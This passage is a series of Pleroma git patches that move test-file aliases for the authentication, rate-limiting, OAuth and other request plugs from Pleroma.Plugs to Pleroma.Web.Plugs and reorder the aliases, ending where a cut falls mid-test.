@@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.PleromaAPI.StatusViewTest do +defmodule Pleroma.Web.PleromaAPI.ScrobbleViewTest do use Pleroma.DataCase alias Pleroma.Web.PleromaAPI.ScrobbleView -- cgit v1.2.3 From 0374df1d12a4c28fac72be9b9c0545d318c10385 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 21:10:32 +0300 Subject: other files consistency --- test/pleroma/web/feed/user_controller_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/feed/user_controller_test.exs b/test/pleroma/web/feed/user_controller_test.exs index 9a5610baa..a5dc0894b 100644 --- a/test/pleroma/web/feed/user_controller_test.exs +++ b/test/pleroma/web/feed/user_controller_test.exs @@ -206,7 +206,7 @@ defmodule Pleroma.Web.Feed.UserControllerTest do |> response(200) assert response == - Fallback.RedirectController.redirector_with_meta( + Pleroma.Web.Fallback.RedirectController.redirector_with_meta( conn, %{user: user} ).resp_body -- cgit v1.2.3 From 1d16cd0c3dcebe3d0b1f372f81181de7d0ee9b63 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 08:59:35 +0300 Subject: UserIsAdminPlug module name --- test/pleroma/web/plugs/user_is_admin_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/user_is_admin_plug_test.exs b/test/pleroma/web/plugs/user_is_admin_plug_test.exs index 4a05675bd..b550568c1 100644 --- a/test/pleroma/web/plugs/user_is_admin_plug_test.exs +++ b/test/pleroma/web/plugs/user_is_admin_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.UserIsAdminPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.UserIsAdminPlug + alias Pleroma.Web.Plugs.UserIsAdminPlug import Pleroma.Factory test "accepts a user that is an admin" do -- cgit v1.2.3 From 61c609884cc9fb24049da24159d2e3d2025026a3 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:00:44 +0300 Subject: UserFetcherPlug module name --- test/pleroma/web/plugs/user_fetcher_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/user_fetcher_plug_test.exs b/test/pleroma/web/plugs/user_fetcher_plug_test.exs index f873d7dc8..b4f875d2d 100644 --- a/test/pleroma/web/plugs/user_fetcher_plug_test.exs +++ b/test/pleroma/web/plugs/user_fetcher_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.UserFetcherPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.UserFetcherPlug + alias Pleroma.Web.Plugs.UserFetcherPlug import Pleroma.Factory setup do -- cgit v1.2.3 From ebd6dd7c53db0799c2a6fc0d5602eced9541033e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:02:27 +0300 Subject: UserEnabledPlug module name --- test/pleroma/web/plugs/user_enabled_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/user_enabled_plug_test.exs b/test/pleroma/web/plugs/user_enabled_plug_test.exs index 0a314562a..71c56f03a 100644 --- a/test/pleroma/web/plugs/user_enabled_plug_test.exs +++ b/test/pleroma/web/plugs/user_enabled_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.UserEnabledPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.UserEnabledPlug + alias Pleroma.Web.Plugs.UserEnabledPlug import Pleroma.Factory setup do: clear_config([:instance, :account_activation_required]) -- cgit v1.2.3 From f7614d4718b8928c92683493e517d7769744d8ef Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:07:39 +0300 Subject: SetUserSessionIdPlug module name --- test/pleroma/web/plugs/set_user_session_id_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs index 11404c7f7..8467d44e3 100644 --- a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs +++ b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.SetUserSessionIdPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.SetUserSessionIdPlug + alias Pleroma.Web.Plugs.SetUserSessionIdPlug alias Pleroma.User setup %{conn: conn} do -- cgit v1.2.3 From c97c7d982f44b00a75e67ef669f1892697571ca8 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:24:29 +0300 Subject: SetLocalePlug module name --- test/pleroma/web/plugs/set_locale_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/set_locale_plug_test.exs b/test/pleroma/web/plugs/set_locale_plug_test.exs index 3dc73202e..773f48a5b 100644 --- a/test/pleroma/web/plugs/set_locale_plug_test.exs +++ b/test/pleroma/web/plugs/set_locale_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.SetLocalePlugTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.SetLocalePlug + alias Pleroma.Web.Plugs.SetLocalePlug alias Plug.Conn test "default locale is `en`" do -- cgit v1.2.3 From 8249b757615e701871c7a6bb16e15788d90a1616 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:26:17 +0300 Subject: SetFormatPlug module name --- test/pleroma/web/plugs/set_format_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/set_format_plug_test.exs b/test/pleroma/web/plugs/set_format_plug_test.exs index 1b9ba16b1..e95d751fa 100644 --- a/test/pleroma/web/plugs/set_format_plug_test.exs +++ b/test/pleroma/web/plugs/set_format_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.SetFormatPlugTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.SetFormatPlug + alias Pleroma.Web.Plugs.SetFormatPlug test "set format from params" do conn = -- cgit v1.2.3 From 4b4c0eef3681f2dd4f9248ee1383f307dcd83730 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:27:29 +0300 Subject: SessionAuthenticationPlug module name --- test/pleroma/web/plugs/session_authentication_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/session_authentication_plug_test.exs b/test/pleroma/web/plugs/session_authentication_plug_test.exs index 34518414f..2b4d5bc0c 100644 --- a/test/pleroma/web/plugs/session_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/session_authentication_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.SessionAuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.SessionAuthenticationPlug alias Pleroma.User + alias Pleroma.Web.Plugs.SessionAuthenticationPlug setup %{conn: conn} do session_opts = [ -- cgit v1.2.3 From 3be8ab51038cdfeb4bbf78633eb79c4d6f6b8d0b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:30:32 +0300 Subject: RemoteIp module name --- test/pleroma/web/plugs/rate_limiter_test.exs | 2 +- test/pleroma/web/plugs/remote_ip_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/rate_limiter_test.exs b/test/pleroma/web/plugs/rate_limiter_test.exs index dfc1abcbd..7c10c97b3 100644 --- a/test/pleroma/web/plugs/rate_limiter_test.exs +++ b/test/pleroma/web/plugs/rate_limiter_test.exs @@ -19,7 +19,7 @@ defmodule Pleroma.Web.Plugs.RateLimiterTest do describe "config" do @limiter_name :test_init - setup do: clear_config([Pleroma.Plugs.RemoteIp, :enabled]) + setup do: clear_config([Pleroma.Web.Plugs.RemoteIp, :enabled]) test "config is required for plug to work" do Config.put([:rate_limit, @limiter_name], {1, 1}) diff --git a/test/pleroma/web/plugs/remote_ip_test.exs b/test/pleroma/web/plugs/remote_ip_test.exs index 14c557694..0bdb4c168 100644 --- a/test/pleroma/web/plugs/remote_ip_test.exs +++ b/test/pleroma/web/plugs/remote_ip_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.RemoteIpTest do use ExUnit.Case use Plug.Test - alias Pleroma.Plugs.RemoteIp + alias Pleroma.Web.Plugs.RemoteIp import Pleroma.Tests.Helpers, only: [clear_config: 2] -- cgit v1.2.3 From 4b1863ca4e0a99d794f856fcb6bf5630d8408825 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:35:00 +0300 Subject: RateLimiter module name --- test/pleroma/web/plugs/rate_limiter_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/rate_limiter_test.exs b/test/pleroma/web/plugs/rate_limiter_test.exs index 7c10c97b3..249c78b37 100644 --- a/test/pleroma/web/plugs/rate_limiter_test.exs +++ b/test/pleroma/web/plugs/rate_limiter_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.RateLimiterTest do alias Phoenix.ConnTest alias Pleroma.Config - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Plug.Conn import Pleroma.Factory -- cgit v1.2.3 From 15772fda5715f901fcc676ce43d3debe462d94c3 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:42:36 +0300 Subject: PlugHelper module name --- test/pleroma/web/plugs/authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/plug_helper_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 550543ff2..0bc589fbe 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do alias Pleroma.Plugs.AuthenticationPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User import ExUnit.CaptureLog diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index fbb25ee7b..6a44c673e 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -9,7 +9,7 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do alias Pleroma.Plugs.LegacyAuthenticationPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User setup do diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs index 0d32031e8..6febd4388 100644 --- a/test/pleroma/web/plugs/plug_helper_test.exs +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.PlugHelperTest do alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper import Mock -- cgit v1.2.3 From a6d8cef33e9ac91c373d0ac4c96a42bd941fe6b2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:57:27 +0300 Subject: OAuthScopesPlug module name --- test/pleroma/web/plugs/authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/o_auth_scopes_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 0bc589fbe..5b6186e4e 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true alias Pleroma.Plugs.AuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index 6a44c673e..a0e1a7909 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -8,7 +8,7 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do import Pleroma.Factory alias Pleroma.Plugs.LegacyAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User diff --git a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs index 6a7676c8a..c8944f971 100644 --- a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs +++ b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.OAuthScopesPlugTest do use Pleroma.Web.ConnCase - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo import Mock -- cgit v1.2.3 From 96d320bdfecdb147cfbd7e74156f546885821915 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:59:21 +0300 Subject: OAuthPlug module name --- test/pleroma/web/plugs/o_auth_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/o_auth_plug_test.exs b/test/pleroma/web/plugs/o_auth_plug_test.exs index f4df8f4cb..b9d722f76 100644 --- a/test/pleroma/web/plugs/o_auth_plug_test.exs +++ b/test/pleroma/web/plugs/o_auth_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.OAuthPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.OAuthPlug + alias Pleroma.Web.Plugs.OAuthPlug import Pleroma.Factory @session_opts [ -- cgit v1.2.3 From e2332d92ceae60cf333b9ad930f80410daf6615e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:01:40 +0300 Subject: LegacyAuthenticationPlug module name --- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index a0e1a7909..0a2f6f22f 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do import Pleroma.Factory - alias Pleroma.Plugs.LegacyAuthenticationPlug + alias Pleroma.Web.Plugs.LegacyAuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User -- cgit v1.2.3 From 5cd7030076a9dde9272321edf8f50b3367fc11c6 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:09:39 +0300 Subject: IdempotencyPlug module name --- test/pleroma/web/plugs/idempotency_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/idempotency_plug_test.exs b/test/pleroma/web/plugs/idempotency_plug_test.exs index c7b8abcaf..4a7835993 100644 --- a/test/pleroma/web/plugs/idempotency_plug_test.exs +++ b/test/pleroma/web/plugs/idempotency_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.IdempotencyPlugTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.IdempotencyPlug + alias Pleroma.Web.Plugs.IdempotencyPlug alias Plug.Conn test "returns result from cache" do -- cgit v1.2.3 From 8c993c5f6322c09c8b88e62aa23865648aab3690 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:41:09 +0300 Subject: FederatingPlug module name --- test/pleroma/web/plugs/federating_plug_test.exs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/federating_plug_test.exs b/test/pleroma/web/plugs/federating_plug_test.exs index a39fe8adb..a4652f6c5 100644 --- a/test/pleroma/web/plugs/federating_plug_test.exs +++ b/test/pleroma/web/plugs/federating_plug_test.exs @@ -12,7 +12,7 @@ defmodule Pleroma.Web.Plugs.FederatingPlugTest do conn = build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) + |> Pleroma.Web.Plugs.FederatingPlug.call(%{}) assert conn.status == 404 assert conn.halted @@ -23,7 +23,7 @@ defmodule Pleroma.Web.Plugs.FederatingPlugTest do conn = build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) + |> Pleroma.Web.Plugs.FederatingPlug.call(%{}) refute conn.status refute conn.halted -- cgit v1.2.3 From 99e4ed21b19d989112cf26141c3f87f9fe12b72b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:43:19 +0300 Subject: ExpectPublicOrAuthenticatedCheckPlug module name --- test/pleroma/web/plugs/plug_helper_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs index 6febd4388..adb0bb111 100644 --- a/test/pleroma/web/plugs/plug_helper_test.exs +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.PlugHelperTest do @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug - alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug + alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.PlugHelper import Mock -- cgit v1.2.3 From d6cb1a3b4627b40b9d347e4b05d0589e3a584166 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:44:50 +0300 Subject: ExpectAuthenticatedCheckPlug module name --- test/pleroma/web/plugs/plug_helper_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs index adb0bb111..670d699f0 100644 --- a/test/pleroma/web/plugs/plug_helper_test.exs +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.PlugHelperTest do @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" - alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug + alias Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.PlugHelper -- cgit v1.2.3 From 8e301a4c37543f819f659b89b20673141f1e9b75 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:49:18 +0300 Subject: EnsureUserKeyPlug module name --- test/pleroma/web/plugs/ensure_user_key_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/ensure_user_key_plug_test.exs b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs index 474510101..f912ef755 100644 --- a/test/pleroma/web/plugs/ensure_user_key_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.EnsureUserKeyPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.EnsureUserKeyPlug + alias Pleroma.Web.Plugs.EnsureUserKeyPlug test "if the conn has a user key set, it does nothing", %{conn: conn} do conn = -- cgit v1.2.3 From 011525a3d1260ec6814c36bb08feb4cbd3116d4a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:53:10 +0300 Subject: EnsurePublicOrAuthenticatedPlug module name --- test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs index 9cd5bc715..a73175fa6 100644 --- a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true alias Pleroma.Config - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.User setup do: clear_config([:instance, :public]) -- cgit v1.2.3 From c6baa811d69f25879ca77d0a25b527baec60d42e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:55:56 +0300 Subject: EnsureAuthenticatedPlug module name --- test/pleroma/web/plugs/ensure_authenticated_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs index b87f4e103..35095e018 100644 --- a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.User describe "without :if_func / :unless_func options" do -- cgit v1.2.3 From 66e0b0065b2fd115b1239edfab70eef54c34af2d Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:08:43 +0300 Subject: Cache plug module name --- test/pleroma/web/plugs/cache_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/cache_test.exs b/test/pleroma/web/plugs/cache_test.exs index 105b170f0..93a66f5d3 100644 --- a/test/pleroma/web/plugs/cache_test.exs +++ b/test/pleroma/web/plugs/cache_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.CacheTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.Cache + alias Pleroma.Web.Plugs.Cache @miss_resp {200, [ -- cgit v1.2.3 From c1777e74796d3be4757826ddb3395fc0c13495ff Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:13:19 +0300 Subject: BasicAuthDecoderPlug module name --- test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs index 49f5ea238..2d6af228c 100644 --- a/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs +++ b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.BasicAuthDecoderPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.BasicAuthDecoderPlug + alias Pleroma.Web.Plugs.BasicAuthDecoderPlug defp basic_auth_enc(username, password) do "Basic " <> Base.encode64("#{username}:#{password}") -- cgit v1.2.3 From c497558d433216c12a3335d138716a10d464a922 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:16:09 +0300 Subject: AuthenticationPlug module name --- test/pleroma/web/plugs/authentication_plug_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 5b6186e4e..2167f2457 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User -- cgit v1.2.3 From 3ef4e9d17008a220f02531f70aad9568b995e396 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:18:42 +0300 Subject: AdminSecretAuthenticationPlug module name --- test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs index 4d35dc99c..33394722a 100644 --- a/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs @@ -8,10 +8,10 @@ defmodule Pleroma.Web.Plugs.AdminSecretAuthenticationPlugTest do import Mock import Pleroma.Factory - alias Pleroma.Plugs.AdminSecretAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.AdminSecretAuthenticationPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.PlugHelper + alias Pleroma.Web.Plugs.RateLimiter test "does nothing if a user is assigned", %{conn: conn} do user = insert(:user) -- cgit v1.2.3 From 9f4fe5485b7132307c7eff0690c8443b4ad57405 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 13:07:47 +0300 Subject: alias alphabetically order --- test/pleroma/web/plugs/authentication_plug_test.exs | 4 ++-- test/pleroma/web/plugs/ensure_authenticated_plug_test.exs | 2 +- test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/o_auth_scopes_plug_test.exs | 2 +- test/pleroma/web/plugs/set_user_session_id_plug_test.exs | 2 +- 6 files changed, 7 insertions(+), 7 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 2167f2457..af39352e2 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -5,10 +5,10 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true + alias Pleroma.User alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper - alias Pleroma.User import ExUnit.CaptureLog import Pleroma.Factory @@ -118,7 +118,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do "psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" assert capture_log(fn -> - refute 